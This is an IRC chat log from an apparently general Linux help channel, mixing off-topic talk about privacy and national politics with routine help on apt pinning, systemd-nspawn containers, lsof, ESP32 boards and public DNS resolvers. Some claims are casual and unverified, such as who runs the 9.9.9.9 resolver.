16:36 < turbo64> thats why their government has to go to such extreme lengths to take it away
16:36 < rangergord> I wish western countries cared more about privacy...but they are the only countries that even give a small fuck about it
16:36 < rangergord> everywhere else is a dystopia by comparison
16:36 < rangergord> same for racism, equality, corruption, etc
16:36 < turbo64> why do you say that
16:36 < turbo64> what do you think about americans
16:36 < LissajousPattern> turbo64, are you?
16:36 < turbo64> yes
16:37 < LissajousPattern> ok
16:37 < loganrun> yeah after they raided trumps layer, I think it is safe to say privacy is gone
16:37 < rangergord> back. What's the last thing I said?
16:37 < LissajousPattern> turbo64, how much do you know about your birth certificate?
16:37 < rangergord> cause I made an impassioned defense of western civilization right there
16:38 < loganrun> but yeah other countries are much worse
16:38 < loganrun> except for cayman islands
16:39 < aaa_> this is possible to run some software in ram
16:40 < aaa_> does they will write logs in ram too?
16:40 < turbo64> LissajousPattern: i have it around here somewhere
16:40 < turbo64> are you one of those birther conspiracy guys
16:40 < LissajousPattern> turbo64, yeah its a very interesting document
16:40 < LissajousPattern> nah
16:40 < turbo64> rangergord: what about japan
16:41 < rangergord> aaa_: all software runs in RAM? They write logs in different places. What's your goal exactly?
16:41 < LissajousPattern> I had no idea there were conspiracies in regards to that
16:42 < turbo64> its in the eastern hemisphere and its an economic superpower that makes the most technologically advanced products on earth, citizens have universal access to healthcare and education, and they have the lowest crime rates in the world
16:42 < rangergord> turbo64: what about it? just because their companies haven't been at the forefront of monetizing user data, doesn't mean much. For all we know they're doing it, the news just never reaches us.
16:42 < LissajousPattern> whats a birther...? other than the obvious which I would assume would be a mother...?
16:42 < turbo64> oh and longest life expectancy
16:42 < loganrun> the swiss are apparently #1 when it comes to privacy, but I think with the multinational online companies privacy is gone. we have no idea how much they are tracking.
16:43 < LissajousPattern> or at least some sort of female thing
16:43 < turbo64> well your point that western countries are more advanced in terms of social progress is kind of disproven by japan
16:43 < loganrun> japan rocks, they don't even riot
16:43 < rangergord> turbo64: yeah Japan's ahead of many western countries, most people consider them a western country. idk what makes them special, and why their civilization's success was not replicated elsewhere in Asia.
16:43 < turbo64> and privacy is respected much more in japan
16:43 < turbo64> probably the most private culture on earth
16:43 < rangergord> we don't know that
16:44 < turbo64> consider them a western country??
16:44 < rangergord> we don't know if their government is tapping their ISPs
16:44 < triceratux> https://en.wikipedia.org/wiki/Barack_Obama_citizenship_conspiracy_theories
16:44 < turbo64> have you not seen a globe before
16:44 < turbo64> or do you have some bizarre defintion of the word "western" that im not familiar with
16:44 < rangergord> turbo64: rephrase that as "country with values usually found in western countries"
16:45 < LissajousPattern> Truth be told Japan is both eastern and western, at least if you live in North America
16:45 < LissajousPattern> weird how that works living on a globe
16:45 < turbo64> you guys should just stick to linux discussion imo
16:45 < turbo64> you're way out of your depth here lol
16:46 < rangergord> turbo64: and you ranting about America allowing Facebook to exist shows you're floating on the surface
16:46 < LissajousPattern> depth...? let me know when I should start paddling.
16:46 < turbo64> i never said anything about america allowing facebook to exist
16:47 < rangergord> this all started when you used Facebook as a counter-example when I complained about the total lack of online privacy in China
16:47 < turbo64> i was saying out culture doesnt value privacy at all because everyone wants to have a facebook page and give all their personal information to some big corporation just because all their friends are doing it
16:47 < jim> rangergord, turbo64: ok, back to neutral corners :P
16:47 < rangergord> no, seconds out!
16:47 < LissajousPattern> I love facebook for the fact that they allowed themselves to get so big that the rest of us can't help but notice the corruption that obviously ensued.
16:47 < rangergord> in any case, the Internet was a mistake
16:47 < turbo64> well you were saying that chinese people have no concept of privacy
16:48 < rangergord> western civ had a good run. Peaked in the 90s.
16:48 < LissajousPattern> what better way to try to wake up tons of people all at once
16:48 < LissajousPattern> quite brilliant actually
16:48 < turbo64> which i think was hypocritical coming from someone in europe or the us
16:48 < loganrun> it is rather impressive how well certain countries are able to censor citizens. I think western countries are quickly moving in that direction.
16:48 < rangergord> turbo64: most of the privacy advocates, like 99.9%, are westerners. China will never ever have someone like Snowden, that mentality simply doesn't exist.
16:48 < turbo64> where privacy is bought and sold as a massive multibillion dollar industry
16:49 < LissajousPattern> although I think its still an unintended consequence, because Mark Z is really not that bright to begin with.
16:49 < rangergord> I don
16:49 < turbo64> rangergord: its not that the mentality doesnt exist, its that people dont want to be killed or imprisoned for life
16:49 < rangergord> I don't even use Facebook or any social media except an anonymous reddit account, don't get me wrong
16:50 < loganrun> it was never quite explained why he only leaked stuff about the USA
16:50 < loganrun> I mean wiki
16:50 < rangergord> turbo64: no, newer generations literally don't believe in it. They grew up in a world with no exposure to these ideas. Like you can't google "democracy" in China.
16:50 < turbo64> if you're familiar with history, you'd know that chinese people aren't afraid of civil disobedience
16:50 < rangergord> turbo64: that was in an age before the gov had the tech to completely control what ideas their citizens are exposed to
16:50 < LissajousPattern> the internet itself was basically built off the concept of "social networking" the Internet is in fact just one big social network.
16:50 < rangergord> LissajousPattern: that's why I say the Internet was a mistake. Humanity was better off without it.
16:51 < loganrun> turbo64: seriously, of course they are, there is none
16:51 < LissajousPattern> possibly
16:51 < loganrun> LissajousPattern: started as a military network I thought
16:51 < turbo64> also you can google the word democracy in china lol
16:51 < jim> rangergord, turbo64: would it make sense to move this cultural/political discussion to pm or to another channel?
16:51 < rangergord> jim: no worries, I'll drop it
16:52 < triceratux> http://www.baidu.com/s?wd=democracy
16:52 < LissajousPattern> longhorn, well let me say the web as we the "public" know it
16:52 < turbo64> well the other day everyone was arguing about assembly language so i figured this channel had a sort of laissez-faire attitude towards offtopic discussion
16:52 < turbo64> but alright ill stop
16:52 < LissajousPattern> sorry loganrun
16:52 < turbo64> i tried the new fedora 28 beta
16:52 < LissajousPattern> that was @ you
16:52 < jim> thank you
16:52 < turbo64> it seems like they are trying to do stuff like ubuntu does
16:52 < turbo64> they took a lot of functionality out of the anaconda installer and you cant create a root password or even set the hostname now
16:53 < turbo64> i have no idea why they did that but everyone thinks its stupid
16:53 < LissajousPattern> off topic convo is gonna happen sometimes but knowing when to say when goes a very long way. Or so I have learned rom IRC.
16:53 < loganrun> LissajousPattern: yeah it was meant to be able to keep working in the event of war
16:53 < rangergord> whatever happened to SteamOS? Windows killer, etc
16:54 < turbo64> valve went through like a phase where they cared about linux
16:54 < turbo64> and it ended pretty fast
16:54 < turbo64> now they dont even update their steam client for linux
16:54 < LissajousPattern> loganrun, yeah I am really big into communications on general so all topics relative fascinate me
16:54 < turbo64> it uses like an ancient gtk that doesnt support any new theme engines in the context menu, you cant disable the tray icon even though tray icons were phased out in linux years ago
16:55 < LissajousPattern> so windows is going to release a linux based OS...?
16:55 < aaa_> i was talking about tempfs
16:55 < LissajousPattern> why is no one talking about that?
16:55 < aaa_> etc
16:55 < LissajousPattern> or I should say Microsoft
16:55 < jim> turbo64, it's a bit laissez-faire, and, the offtopics I tend to allow are brief, a few minutes max, and tends towards lightening
16:55 < LissajousPattern> silly me
16:56 < turbo64> for a while i was clinging to old stuff like desktop icons and tray icons but after using gnome a while i dont miss them
16:56 < turbo64> its just unnecessary redundancy
16:56 < rangergord> LissajousPattern: as someone in the embedded world, I doubt people will use Windows anytime soon. Do you know how much they jerked us around? Windows CE, Windows Mobile, Windows Phone, stuff getting end-of-lifed after like 5 years which is NOTHING in this world
16:56 < turbo64> i felt the same way about the start menu in windows, people got pissed off about it being removed in windows 8
16:56 < rangergord> we have to support our product for 20 years. It's Linux all the way now.
16:57 < turbo64> but if you actually think about it, since they added that search feature how often do you actually go through your start menu
16:57 < jim> heh :) if they do, theyve roped themselves into complying with gpl v2
16:57 < LissajousPattern> yeah Microsoft sucks pretty mega hard
16:57 < turbo64> when its so much faster to just type in the first couple letters of what you want to run and hit enter
16:57 < loganrun> turbo64: only when I forget the name of something
16:57 < Frith> How many apps do people use on a machine these days, anyway?
16:57 < Frith> Browser, games, maybe word.
16:57 < LissajousPattern> dumb joke
16:58 < turbo64> well you dont even need to know the name of the program a lot of hte time
16:58 < Frith> Potentially Excel.
16:58  * jim misread apps as apes... oops
16:58 < rangergord> Frith: average person, or power user?
16:58 < Frith> rangergord: Either.
16:58 < turbo64> you type in text editor and gedit pops up or whatever it is
16:58  * LissajousPattern about to ditch windows for good this timee
16:58 < turbo64> ive never not known the names of programs installed on my computer personally
16:58 < Frith> This is one reason that chromebooks have reasonable success.
16:58 < MrNeon> turbo64: the search functionality in Windows is broken, sometimes writing the first three letters shows no results at all but four letters does.
16:58 < turbo64> i cant think of any situation where i want to run a program that i dont know the name of
16:59 < turbo64> well yeah its pretty shitty but the idea is good
16:59 < rangergord> Skype, Outlook, keepass, firefox, virtualbox, cherrytree, dropbox, filezilla, mobaxterm, VLC, foobar2000, Notepad++, Skype, bittorrent, various games
16:59 < turbo64> and gnome does it better
16:59 < turbo64> windows has good ideas and bad implementations
16:59 < rangergord> Linux would've eaten Windows's lunch if they just focused on making one polished UI instead of 10 half-breeds
16:59 < turbo64> like the start screen i think was a good idea but the way they implemented it was straight up retarded
16:59 < turbo64> with the giant tiles and all that
16:59 < Frith> rangergord: You did skype twice, and most of those have browser intergrations.
16:59 < azarus> rangergord: nope
17:00 < azarus> rangergord: the UI I use feels polished enough as it it
17:00 < turbo64> and the search feature is a great idea but after installing a lot of things it becomes slow and shitty, like the rest of windows does
17:00 < Frith> rangergord: That would be ChromeOS.
17:00 < azarus> it is*
17:00 < turbo64> thats just windows rot though, no way to fix that
17:00 < rangergord> azarus: the rest of the world disagrees. Also part of it would be a unified way to do graphics, sounds, etc, so we get decent video drivers and tools like on Windows
17:00 < rangergord> the whole OS should've been systemd'ed to beat Windows
17:00 < azarus> rangergord: sources on that?
17:01 < rangergord> azarus: Netcraft
17:01 < azarus> user counts are not in any way meaningful
17:01 < loganrun> the think that ticks me off about microsoft is you have no idea what the heck is going on under the hood most of the time. they just add so many layers of complexity to everything it seems like
17:01 < azarus> also, absolutely not accurate
17:01 < twainwek> to beat windows? i'm willing to pay good money to never be forced to use windows anywhere
17:02 < loganrun> agreed
17:02 < djph> twainwek: zOS?
17:03 < loganrun> what about apple os
17:03 < rangergord> not a fan personally
17:04 < rangergord> I can't tell if all Apple products are an elaborate hidden camera show designed to make me wonder if there's something wrong with me
17:04 < rangergord> cause I don't see how people like OSX and iOS
17:04 < Frith> What's wrong with BSD?
17:04 < djph> the "ooh shiny" aspect?
17:05 < LissajousPattern> rangergord, its called brainwashing
17:05 < loganrun> ha
17:05 < loganrun> shiny is good
17:05 < LissajousPattern> through clever marketing
17:05 < aaa_> if i run tmpfs in encrypted folder
17:05 < aaa_> content will be encrypted in mem or no?
17:05 < turbo64> Frith: you might as well ask, whats wrong with a zx spectrum
17:05 < rangergord> aaa_: yes
17:05 < djph> isn't tmpfs just in-ram?
17:06 < turbo64> or whats wrong with a dictophone
17:06 < rangergord> RAM [              ]
17:06 < Psi-Jack> I care nothing for the Apple marketting. Just the results of their product. And, well, I use an iPhone, iPad, and my wife uses an iMac. None of this is really relevant to Linux though.
17:06 < turbo64> theres nothing inherently wrong with them, but theyre old and not very useful in 2018
17:06 < turbo64> when we have newer things that do everything better
17:06 < aaa_> why yes ? you are sure ?
17:06 < aaa_> well i will verify anyway when i will setup
17:07 < fendur> rangergord: linux doesn't have the same foundational philosophy as windows/macos. few people who recognize the real value of linux care about selling it to the masses and making it the most popular. Think about what open source is, what it represents, what sorts of development it naturally leads to, why it works...
17:07 < rangergord> I was trying to figure out why I couldn't transfer files from the OSX desktop to an external drive. No idea. No error messages, no indication of why. That's the supposed user-friendly OS? Only if your definition of "user" is someone who never copies a file except to TEH CLOUD
17:07 < Psi-Jack> rangergord: Maybe you need #macos?
17:08 < fendur> it's evolutionary in nature, it's not being designed by one central agent.
17:08 < LissajousPattern> rangergord, I assume IOS still does not have its own built in file manager either...
17:08 < aaa_> ??
17:08 < rangergord> Psi-Jack: what I mean is, if I, as a power user (albeit using OSX for almost the 1st time), couldn't figure it out, what hope does the average user have?
17:08 < Psi-Jack> LissajousPattern: Actually it does.
17:08 < LissajousPattern> Psi-Jack, oh wow
17:08 < LissajousPattern> when did that happen?
17:08 < aaa_> what other way in can encrypt in ram?
17:09 < Psi-Jack> LissajousPattern: I believe iOS 11.
17:09 < rangergord> aaa_: what are you trying to do?
17:10 < prussian> aaa_: by owning a CPU that supports a memory controller that can do it
17:10 < Psi-Jack> rangergord: My neophyte wife has had no issues with her iMac. :)
17:10 < aaa_> lol i cant control what the datacenter have
17:11 < djph> Psi-Jack: sounds like a pebcak error
17:11 < aaa_> i want to deny log
17:11 < djph> so then ... *don't log*
17:12 < aaa_> how to do?
17:12 < loganrun> I don't waste time configuring my iphone because there is nothing to configure really. this isn't the case with linux. apple really appeals to those with little computer knowledge I think.
17:12 < Psi-Jack> djph: Yep.
17:12 < LissajousPattern> aaa_, you do by don'ting
17:12 < rangergord> aaa_: what's your 1st language?
17:12 < aaa_> lol this is for service like ssh or webserv bro
17:13 < djph> aaa_: so? you don't have to log those either.  Probably a slightly *bad* idea to not log anything, but you can definitely do that if you so choose.
17:13 < rangergord> aaa_: so you want your system's application logs to be encrypted, instead of located in /var/log (or systemd)?
17:13 < rangergord> and you WANT to log, instead of DISABLING LOG?
17:14 < rangergord> what is the benefit here? what are you trying to stop?
17:15 < rangergord> starting to think he's a troll
17:15 < djph> or just a non-native English speaker.
17:15 < pankaj> Many times I have to press my space key again and again to make it work. It is not loose and does not have any mechanical problem. Even thier is something like hysterises going in my keyboard. What should I do.
17:15 < loganrun> https://redmondmag.com/articles/2017/09/13/is-windows-10-conditioning-us-linux.aspx
17:15 < djph> pankaj: get a new keyboard.
17:15 < aaa_> or both.
17:16 < aaa_> no seriously i didnt know i can disable log, i found what i wanted thanks
17:16 < rangergord> I'm off to sleep. aaa_: just install your OS on an encrypted partition.  If your system is running on an online provider (like a VPS), then this is all in vain since they can see everything you do. That's it.
17:16 < LissajousPattern> pankaj, repair it
17:16 < aaa_>  systemctl disable rsyslog
17:16 < aaa_> , right ?
17:16 < LissajousPattern> take it apart and visual inspect it
17:16 < pankaj> djph: I am using laptop. I think the problem is not keyboard but my system that hangs again and again. Is their anylysis tool in linux that can help me to locate problem on my destro.
17:17 < LissajousPattern> ah I see
17:17 < LissajousPattern> pankaj, which distro?
17:18 < pankaj> LissajousPattern: I am on archlinux.
17:18 < pankaj> LissajousPattern: I mean a standard analysis tool in linux which helps me to find problem in linux.
17:19 < pankaj> LissajousPattern: My hard disk space is not problem but still it hangs even though I update regularly and no high RAM eating program in installed
17:20 < marktr> pankaj: htop
17:20 < LissajousPattern> that is strange
17:20 < marktr> Or historically, atop with the kernel module
17:20 < pankaj> marktr: Are their any other tools available
17:21 < marktr> To check what? CPU usage? Kernel errors?
17:22 < pankaj> marktr: ALso their are many programs listed with htop. Also some programs may see using huge memory but may be it is important to Operating system. How to identify a fraud or bad program running in background.
17:22 < pankaj> marktr: What do you use.
17:23 < Guy1524> Hey guys, I need my computer rebooted right now, but I am at school.  Is there any way to do this without ssh running on the PC
17:23 < dgurney> Guy1524, without any means of remotely connecting to it, no
17:23 < dgurney> I guess you could ask someone to reboot it for you if anyone else is home
17:24 < Guy1524> ah, that stinks, I forgot to start my ssh service this morning ):
17:24 < Guy1524> yeah, I've tried
17:24 < Guy1524> but they aren't responding
17:24 < djph> ... forgot to start...? whaa? it's a daemon, it should be up all the time...
17:25 < dgurney> well not everyone has it enabled at all times
17:25 < Guy1524> yeah, on my arch install I've forgotten to do that
17:25 < Guy1524> but if rebooted, it will go into my Ubuntu install
17:25 < Guy1524> which has that enabled
17:26 < twainwek> send a request to a three letter agency and they may honor your request
17:27 < fendur> NSA?
17:27 < lite4y> how can we see what files a particular process opened?
17:27 < Frith> lsof
17:27 < zoologist> lsof
17:27 < twainwek> lsof
17:27 < tomato> lsof
17:28 < rumpel> lsof
17:28 < zoologist> you guys are way too fast
17:28 < dgurney> are you sure he got the tool name? should it be repeated just in case? :P
17:28 < fendur> lsof
17:29 < fendur> what do I win?
17:29 < Lope> I tried blacklisting a package but it keeps coming back :(
17:29 < tomato> Lope: what package, what package manager, what distro
17:29 < Lope> Ah, was getting to that. Ubuntu, apt-get and and all the grub packages. I'll pastebin.
17:31 < lite4y> if i do a cat /proc/1/status. the status shows its sleeping
17:31 < Lope> https://hastebin.com/nixonitubi.rb
17:31 < lite4y> why generally the init process sleeps
17:32 < Psi-Jack> Yes, lsof, list open files.
17:32 < Lope> The above paste shows my attempt to blacklist grub-pc and grub-common etc, but it keeps coming back. Any ideas?
17:33 < THX1338> Lope, what are you trying to do?
17:33 < Lope> I want to prevent grub from being automatically installed when I run apt-get upgrade or apt-get dist-upgrade
17:34 < Psi-Jack> lite4y: Because, it has nothing to do.
17:35 < djph> Lope: pin it?
17:35 < Lope> djph: I tried pinning grub to stop it from automatically installing on apt-get upgrade but it still keeps coming back from time to time: https://hastebin.com/nixonitubi.rb
17:36 < Lope> should I make the priority lower?
17:37 < THX1338> Hm, idk bro, sorry. Did you already read this link -> https://askubuntu.com/questions/196037/blacklisting-grub-packages-from-installing ?
17:39 < Lope> Apparently this worked, which is slightly different to what I tried... https://askubuntu.com/questions/75895/how-to-forbid-a-specific-package-to-be-installed
17:43 < Lope> I've got 2 of the same ubuntu distros on the same computer. Is it safe to perform an apt-get upgrade etc inside a chroot?
17:44 < Lope> Normally I've done apt-get upgrade chrooted inside minimal headless distros, never a full desktop OS.
17:44 < mawk> yes
17:44 < mawk> but you've got better things than a chroot
17:44 < mawk> to mimic exactly what it would be if you really booted inside
17:45 < mawk> don't worry it's just one command: install the systemd-container package
17:45 < Lope> so basically I've got OS1, I upgrade it, then I rsync it's /var/cache/apt/archives into OS2. Then I chroot into OS2, then apt-get upgrade OS2 ?
17:45 < mawk> then you do sudo systemd-nspawn -b -D folder
17:45 < mawk> and you're into the OS inside the folder, you can upgrade whatever you want
17:45 < Lope> well, it's not a container, it's a full OS... ?
17:45 < Lope> O
17:45 < mawk> same thing
17:45 < Lope> Wow. okay. I want to automate it also.
17:46 < mawk> you can do the same thing but without booting, à la docker
17:46 < mawk> sudo systemd-nspawn -a -D folder yourcommandgoeshere
17:46 < mawk> it won't spawn the init daemon so you won't have all the bells and whistle a full upgrade could require, tho
17:46 < Lope> So basically I run a command. It upgrades OS1 which is running, then rsyncs deb cache into OS2, then upgrades OS2 automagically.
17:47 < mawk> yes
17:47 < Lope> mawk: amazeballs. Okay is it as simple as that one command, or should I open some wiki about it?
17:47 < Lope> I used to do rbind and shit.
17:47 < mawk> why rsync ? couldn't you just copy the deb cache ?
17:47 < mawk> it's just one command
17:47 < Lope> well I want to delete the old deb packages.
17:47 < Lope> rsync --delete
17:47 < Lope> it's already done.
17:47 < mawk> that command shares the network with the host, so the ssh daemon inside won't start
17:48 < mawk> also you could experience some other minor networking issues
17:48 < mawk> but you can just add a flag to isolate the network and setup NAT ! all in one flag
17:48 < Lope> yeah i don't need networking inside OS2 while upgrading it.
17:48 < Lope> well, I don't need daemons running I should say.
17:48 < mawk> then go with the default, it will share the host network
17:48 < Lope> Cool
17:49 < Lope> Amazing.
17:49 < mawk> otherwise you enable systemd-networkd in both sides, and you add "--network-zone net" to the nspawn command line
17:49 < mawk> it will create a bridge and plug all your VMs on it, and automatically do NAT
17:50 < mawk> all the containers can talk to each other, they can talk to the host, go to internet, etc
17:50 < mawk> it's pretty useful to setup a network lab for testing, using btrfs
17:50 < Lope> what package do I need to remove to get rid of the GUI package manager in ubuntu? It locks my apt sometimes. Annoying.
17:50 < mawk> you spawn new containers in less than a second
17:50 < mawk> dunno how it's called
17:50 < mawk> you could check the executable path then feed that to apt-file to get the package name
17:50 < mawk> or using dpkg rather
17:53 < shan> How do I make Linux save everything like windows does
17:53 < garylabronz> ctrl+s
17:54 < shan> Like, it stores all your open windows and shuts down
17:54 < jim> what's "everything"? 42 - the meaning of life - the universe?
17:55 < jim> oh I see
17:55 < fendur> my laptop does this when I shut the lid.
17:55 < shan> jim: all open windows and program states
17:55 < shan> fendur: how?
17:55 < Lope> mawk: how does systemd container stuff relate to LXC and LXD?
17:55 < shan> I mean fully shut down
17:55 < shan> Halt
17:55 < twainwek> windows does that now?
17:56 < twainwek> shan: KDE does that out of the box
17:56 < garylabronz> Lope: not sure I'm following your question?
17:56 < fendur> shan: oh. I was thinking "suspend"
17:56 < shan> twainwek: since windows 8
17:56 < jim> it would need to "send a message" to each app/program
17:56 < fendur> shan: by "halt" do you mean even more than "hibernate"?
17:56 < shan> Yeah
17:56 < shan> Halt
17:56 < shan> shutdown -h now
17:56 < jim> powerdown?
17:56 < jim> ok
17:56 < ananke> shan: that's often specific to desktop environments
17:57 < mawk> https://www.google.com/search?q=speedtest
17:57 < mawk> Lope: it's the same technology inside
17:57 < mawk> using namespaces from linux
17:57 < shan> jim: yeah
17:57 < mawk> but nspawn doesn't use lxc
17:57 < ananke> shan: google for <your DE here> + 'restore session'
17:57 < mawk> and lxd is just a wrapper around lxc, for convenience
17:58 < jim> it's going to be an ongoing project, for now, I would recommend saving stuff you're working on before you shut down
17:58 < Lope> mawk: so if I want to make and use containers for stuff like web servers and so on as a lightweight alternative to a VM, should I use systemd containers or LXC/D
17:58 < shan> Also, how do I make a script to listen for certain data over serial to execute system commands
17:58 < mawk> systemd-nspawn isn't said to be safe enough for production, Lope
17:58 < mawk> but I believe that when you use the private users feature it's good enough
17:58 < Lope> is live migrate safe with LXD yet?
17:59 < mawk> and it's very well integrated with systemd, that's a good point
17:59 < Lope> mawk: do you think LXD is safe for production?
17:59 < jim> what is the serial link connected to?
17:59 < mawk> live migrating a container from two normal computers is a hard thing to do
17:59 < shan> jim: it's part of a project to automatically shut my computer down when power loss is detected
17:59 < garylabronz> if you are comfortable with systemd, I would use systemd to manage lxc/lxd.  and i run docker in production
17:59 < Lope> mawk: what are you saying is well integrated in systemd?
17:59 < mawk> Lope: LXD is just the wrapper so we're talking about LXC, yeah I guess it's good enough
17:59 < mawk> systemd-nspawn
17:59 < Lope> mawk: okay
17:59 < mawk> = systemd-container, dunno why the package name is different
17:59 < shan> jim: the other side is an esp32
18:00 < jim> shan, UPSes do that too
18:00 < ananke> shan: get a smart UPS
18:00 < Lope> does live migrating KVM VM's work well? Seems like it's used in production...
18:01 < jim> in the event of powerloss, a UPS gives you time to save
18:01 < shan> ananke, jim: budget too damn low, plus I want to be able to brag and I want it to be completely FOSS
18:01 < ananke> shan: so how do you propose to shut down gracefully if there is no power?
18:01 < shan> A ups is going to be part of the equation
18:02 < shan> ananke: im buying a ups, but a cheap one.
18:02 < ananke> shan: price difference between smart ups and a dumb one is on par of the cost of esp32
18:02 < jim> shan, yes, it it
18:02 < jim> it is
18:02 < shan> I need it to be automated so that I can use my computer remotely
18:02 < shan> ananke: budget == $35
18:03 < shan> In India
18:03 < ananke> shan: and using a smart ups makes it much easier, because of the existing software that handles it. such as apcupsd, nut, etc
18:03 < Strykar> a ups without USB/Serial is so 90s
18:03 < shan> :((( but I wanna go the Diy route
18:03 < ananke> Strykar: as opposed to what?
18:03 < fendur> shan: I know you're up to something and it might be best for you, but consider a VPS for this purpose.
18:04 < jim> shan, $35 is probably not going to get you a smart ups
18:04 < ananke> shan: great. google.com has tons of resources then
18:04 < shan> I know
18:04 < shan> The smart part is going to be an esp32, jim
18:04 < Strykar> dumb UPS's that turn off when the voltage drops too low and there's no way for the PC to know
18:04 < jim> what;s an esp32?
18:05 < prussian> some weird wireless radio package with all sorts of stuff
18:05 < ananke> jim: microcontroller
18:05 < jim> oh ok
18:06 < jim> the thing of it is, I think you're doing the right project
18:06 < jhaenchen> esp82666 or whatever the popular one is always nice
18:06 < ananke> continuation/second generation of esp8266. originally meant to work as a wifi controller to be integrated with other products, but became very popular when folks realized it's very inexpensive and quite capable
18:06 < blip99> hi all.  As a normal user, do I lose anything by moving from bash to zsh?  I'm doing so simply in order to use plugins that help with development (E.g. showing git branch etc).  Looks like the zsh universe has more plugins e.g. https://github.com/caiogondim/bullet-train.zsh
18:06 < jim> someone gave me an arduino-alike
18:07 < blip99> I have modifications in my .bashrc related to history and other simple stuff like that, guess i can replicate in zsh
18:07 < jhaenchen> god i'd love to build an IoT app for that. it's like $10 and can make a web request when a GPIO port is triggered. That's almost everything you need.
18:07 < frostschutz> blip99, as long as you don't uninstall bash since there will be scripts that use #!/bin/bash specifically - you can use any shell you like
18:07 < jhaenchen> Current next proj is an infared laser to turn on my lights when i walk up the stairs
18:07 < ananke> jhaenchen: you can get esp8266 dev boards for $3
18:07 < jhaenchen> oh yeahhhh boiii
18:07 < jhaenchen> noice
18:08 < ananke> jhaenchen: look at 'wemos d1 mini' and 'nodemcu' boards
18:08 < shan> jim: cheap IoT microcontroller with WiFi + bt
18:08 < ananke> wemos d1 mini is smaller, while nodemcu exposes a few more pins
18:08 < blip99> frostschutz, aah right.  I see. and generally my system/programs should be unaffected by zsh being default shell?
18:08 < jhaenchen> cheers ananke
18:09 < jim> shan, so really, you want to make a smart ups out of a cheap/dumb one?
18:09 < frostschutz> blip99, yup
18:09 < jhaenchen> $2, my god.
18:09 < ananke> best thing is that you can either program them like an arduino controller (with a few small changes in pin numbering and board specific libs), or you can use something like a lua or micropython based firmware
18:10 < jhaenchen> That's insanely cool
18:10 < ananke> jhaenchen: you get a dozen of them and you don't have to be concerned how well you treat them
18:10 < ananke> jhaenchen: also, there are existing firmware projects that turn those into very cool gadgets. google for 'espeasy' and 'esp-link'
18:12  * Psi-Jack links in.
18:13 < jhaenchen> MQTT support, cool. That means AWS IoT
18:13 < anickname> hey
18:13 < anickname> I'm trying to run puppy linux inside a virtual machinwe
18:14 < anickname> and I'm trying to attach a virtual disk to it
18:14 < anickname> so I need to run gparted, and it asks me to select a partition typer
18:14 < anickname> which one do I use? msdos?
18:14 < ananke> anickname: yes. unless the disk is over 2TB, which would require gpt
18:14 < ananke> or you can use gpt
18:15 < Psi-Jack> jhaenchen: Or RabbitMQ. :)
18:15 < Lope> mawk: I tested the systemd `systemd-nspawn -a -D /foo bash` command. Works nicely.
18:15 < blip99> ty frostschutz
18:15 < Lope> Do you have any suggestions for making /etc/resolv.conf work inside the systemd-spawned container?
18:16 < Lope> It's not a real container. It's actually another distro on my PC. So I don't want to delete the link `resolv.conf -> ../run/systemd/resolve/stub-resolv.conf`
18:16 < anickname> ananke: what's the difference between  msdos, gpt, bsd, etc.
18:16 < Lope> I suppose I could overwrite the destination?
18:17 < ananke> anickname: you can look those up if you want.
18:17 < anickname> ananke but msdos is the best one
18:17 < Lope> problem is /run/ doesn't exist when inside the systemd container spawn.
18:17 < Trel> When composing an email message in Pine/Alpine, is there any way to choose/change the SMTP server or am I restricted to the default and anything a role may have overridden?
18:18 < ananke> anickname: it's the easiest one to deal with, because everything will support it.
18:18 < mawk> nice Lope
18:18 < blip99> frostschutz, can I somehow export my bash history to zsh? got tons of dev commands in there
18:18 < zhangxaochen> I'm trying to remove a package, result in 'unmet dependencies', why? http://codepad.org/EtQsdWA5
18:19 < Lope> mawk: it says to press something 3x to escape, what is that?
18:19 < mawk> Lope: but keep in mind that not using -b doesn't give you the full power of the OS inside, it's just using as much possible of a container without actually booting it
18:19 < mawk> ^]^]^]
18:19 < Lope> Yeah what button is that?
18:19 < mawk> you press ctrl-] three times to kill it
18:19 < mawk> it's ctrl and ] at the same time
18:19 < Lope> Thanks!
18:19 < Lope> That's pretty awesome!
18:19 < anickname> thnak you
18:19 < mawk> yeah
18:20 < blip99> frostschutz, guess I can simple append the contents to .bash_history to .zsh_history lol
18:20 < anickname> ananke what file system should I use, ext4 right
18:20 < frostschutz> blip99, I don't use zsh myself so no idea if they have a special format for their history. otherwise you could just copy it
18:21 < dgurney> anickname, if you don't know what fs to use, ext4 is a good choice
18:21 < ananke> anickname: sure
18:21 < Lope> mawk: any quick hacks to get the network working?
18:21 < mawk> the network works by default Lope
18:21 < mawk> if you don't pass flags about it
18:21 < anickname> thank you
18:22 < mawk> it's the same network as the host
18:22 < mawk> you'll maybe need to adjust the DNS servers
18:22 < mawk> you can temporarily use 9.9.9.9 as your dns server inside the container
18:22 < Lope> mawk: okay my bad. I added -n (was reading stuff on arch, got it working)
18:23 < Lope> mawk: surely you mean 8.8.8.8 ?
18:23 < mawk> no, 9.9.9.9
18:23 < mawk> but 8.8.8.8 would work too
18:23 < dgurney> 1.1.1.1 is also pretty neat
18:23 < Lope> I've never heard of 9.9.9.9
18:23 < Psi-Jack> Who runs 9.9.9.9 anyway?
18:23 < Lope> 8.8.8.8 and 8.8.4.4 are the old ones
18:23 < mawk> some french guys
18:23 < mawk> related to the french NIC
18:23 < Psi-Jack> 1.1.1.1 and 1.0.0.1 are good though.
18:24 < Psi-Jack> mawk: Oh. That... Doesnt' inspire confidence.
18:24 < mawk> that probably care about private life and all
18:24 < mawk> lol
18:24 < mawk> :(
18:24 < mawk> 9.9.9.10 is the one without the malware filter, if you don't like that
18:24 < Lope> which one lets NSA track all your requests?
18:24 < mawk> cloudflare, of course
18:24 < mawk> it's american
18:24 < dgurney> and so is google
18:25 < Psi-Jack> I'm going to be setting up DNS over TLS pretty soon. :)
18:25 < Lope> anyone watch snowden 2016. wow. was intense.
18:25 < marktr> 1.1.1.1 is supposedly very private
18:25 < mawk> 9.9.9.9 does it
18:25 < Psi-Jack> Lope: I've watched all the documentaries about Snowden.
18:25 < Psi-Jack> marktr: And very FAST.
18:25 < Lope> Psi-Jack: the first snowden one was like a thriller.
18:26 < be2pal> Opennic ?
18:26 < Psi-Jack> be2pal: What about it?
18:26 < Psi-Jack> Lope: Rightfully so.
18:26 < Lope> dgurney: Psi-Jack: i thought you were pulling my leg about 1.1.1.1 and 1.0.0.1
18:26 < be2pal> Secure as 1.1.1.1 ?
18:26 < dgurney> why would we pull your leg?
18:27 < Lope> dgurney: people like to prank.
18:27 < Psi-Jack> Lope: Nope. It's real. And new.
18:27 < Lope> It looks a little bit like 10.0.0.1 :p
